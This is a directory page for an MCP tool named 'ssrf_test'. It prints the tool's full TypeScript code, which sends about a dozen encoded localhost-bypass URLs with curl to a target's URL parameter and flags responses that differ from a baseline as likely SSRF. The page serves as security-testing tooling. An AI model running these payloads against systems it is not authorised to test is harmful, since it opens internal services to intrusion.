Skip to main content
Glama

ssrf_test

Test SSRF vulnerabilities by sending multiple localhost bypass variants to check if servers fetch internal resources. Returns detailed results for each attempt.

Instructions

Test SSRF with localhost bypass variants. Sends 10+ representations of localhost (127.0.0.1, 0, decimal, hex, IPv6, etc.) to check if the server fetches internal resources. Returns results array with variant, payload_url, status, length, different_from_baseline per attempt. Side effects: May cause the target server to make internal requests.

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
urlYesTarget URL that accepts a URL/host parameter
parameterYesParameter that accepts URLs, e.g. 'url', 'src', 'redirect'
internal_targetNoInternal resource to reach, e.g. 'http://localhost/admin'
methodNoHTTP method

Implementation Reference

  • The tool 'ssrf_test' is registered and implemented in src/tools/ssrf.ts, which uses 'curl' to test various SSRF localhost bypass payloads.
    server.tool(
      "ssrf_test",
      "Test SSRF with localhost bypass variants. Sends 10+ representations of localhost (127.0.0.1, 0, decimal, hex, IPv6, etc.) to check if the server fetches internal resources. Returns results array with variant, payload_url, status, length, different_from_baseline per attempt. Side effects: May cause the target server to make internal requests.",
      {
        url: z.string().describe("Target URL that accepts a URL/host parameter"),
        parameter: z.string().describe("Parameter that accepts URLs, e.g. 'url', 'src', 'redirect'"),
        internal_target: z.string().optional().describe("Internal resource to reach, e.g. 'http://localhost/admin'"),
        method: z.enum(["GET", "POST"]).optional().describe("HTTP method"),
      },
      async ({ url, parameter, internal_target = "http://localhost/admin", method = "POST" }) => {
        requireTool("curl");
    
        // Parse the internal target to replace the host portion
        const parsedUrl = new URL(internal_target);
        const path = parsedUrl.pathname || "/";
    
        const localhostVariants: Array<[string, string]> = [
          ["127.0.0.1", `http://127.0.0.1${path}`],
          ["localhost", `http://localhost${path}`],
          ["0", `http://0${path}`],
          ["0.0.0.0", `http://0.0.0.0${path}`],
          ["127.1", `http://127.1${path}`],
          ["decimal_2130706433", `http://2130706433${path}`],
          ["hex_0x7f000001", `http://0x7f000001${path}`],
          ["octal_017700000001", `http://017700000001${path}`],
          ["ipv6_::1", `http://[::1]${path}`],
          ["ipv6_0000::1", `http://[0000:0000:0000:0000:0000:0000:0000:0001]${path}`],
          ["nip.io", `http://127.0.0.1.nip.io${path}`],
          ["redirect_scheme", `http://localhost%23@example.com${path}`],
        ];
    
        // First get an error baseline with an obviously-invalid target
        const baselineCurlArgs =
          method === "POST"
            ? [
                "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}",
                "-X", method, "-d", `${parameter}=http://invalid.example.test/nothing`,
                url,
              ]
            : [
                "-sk", "-o", "/dev/null", "-w", "%{http_code}:%{size_download}",
                `${url}?${parameter}=http://invalid.example.test/nothing`,
              ];
    
        const baseline = await runCmd("curl", baselineCurlArgs);
        const bp = baseline.stdout.split(":");
        const baselineStatus = bp.length > 0 ? parseInt(bp[0], 10) : 0;
        const baselineLength = bp.length > 1 ? parseInt(bp[1], 10) : 0;
    
        const results = [];
        for (const [variantName, payloadUrl] of localhostVariants) {
          let curlArgs: string[];
          if (method === "POST") {
            curlArgs = [
              "-sk", "-o", "/dev/null",
              "-w", "%{http_code}:%{size_download}",
              "-X", "POST",
              "-d", `${parameter}=${payloadUrl}`,
              url,
            ];
          } else {
            curlArgs = [
              "-sk", "-o", "/dev/null",
              "-w", "%{http_code}:%{size_download}",
              `${url}?${parameter}=${payloadUrl}`,
            ];
          }
    
          const res = await runCmd("curl", curlArgs);
          const parts = res.stdout.split(":");
          const status = parts.length > 0 ? parseInt(parts[0], 10) : 0;
          const length = parts.length > 1 ? parseInt(parts[1], 10) : 0;
    
          const different =
            status !== baselineStatus || Math.abs(length - baselineLength) > 50;
          results.push({
            variant: variantName,
            payload_url: payloadUrl,
            status,
            length,
            different_from_baseline: different,
          });
        }
    
        const promising = results.filter((r) => r.different_from_baseline);
        const result = {
          baseline_status: baselineStatus,
          baseline_length: baselineLength,
          results,
          promising_variants: promising.map((r) => r.variant),
          hint:
            promising.length > 0
              ? "Variants with different status/length from baseline may indicate successful SSRF."
              : "No variants differed from baseline. Try different parameters or internal targets.",
        };
        return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] };
      }
    );

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/operantlabs/operant-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server